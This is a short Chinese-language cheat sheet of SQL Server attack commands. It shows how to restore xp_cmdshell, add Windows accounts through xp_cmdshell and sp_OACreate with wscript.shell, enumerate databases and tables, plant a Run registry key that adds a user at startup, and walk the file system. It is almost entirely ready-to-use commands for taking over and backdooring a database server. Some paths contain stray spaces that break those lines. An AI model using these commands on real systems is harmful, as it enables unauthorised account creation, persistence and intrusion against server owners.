一 系统Shell
恢复xp_cmdshell
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
使用xp_cmdshell添加用户
exec xp_cmdshell 'net user user1 /add'
利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属 性run执行命令。
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user temp zyi /add'--
二 数据库查询
查询库
库名称存在master库中的sysdatabases表中,sysdatabases表中的 dbid字段的值大于6的就是用户自己建的库
Select name FROM sysdatabases where dbid>6
查询表
表名称存在xyz库中的sysobjects表且xtype='u'
Select *FROM sysobjects where xtype='u'
查询字段
该表的字段存在xyz库中的syscolumns表,且id等于sysobjects表中test表对应的id
Select * FROM syscolumns where id='357576312'
三 注册表操作
利用xp_regwrite写注册表项
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\c urrentversion\run','shell','REG_SZ','C:\windows\sys tem32\cmd.exe /c net user ray ray /add'
查看注册表
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\C urrentVersion\Run'
四 文件操作
历遍目录
exec master.dbo.xp_dirtree 'c:\'
获取子目录
exec master.dbo.xp_subdirs 'c:\'
判断目录或文件是否存在
exec master..xp_fileexist 'c:\boot.ini'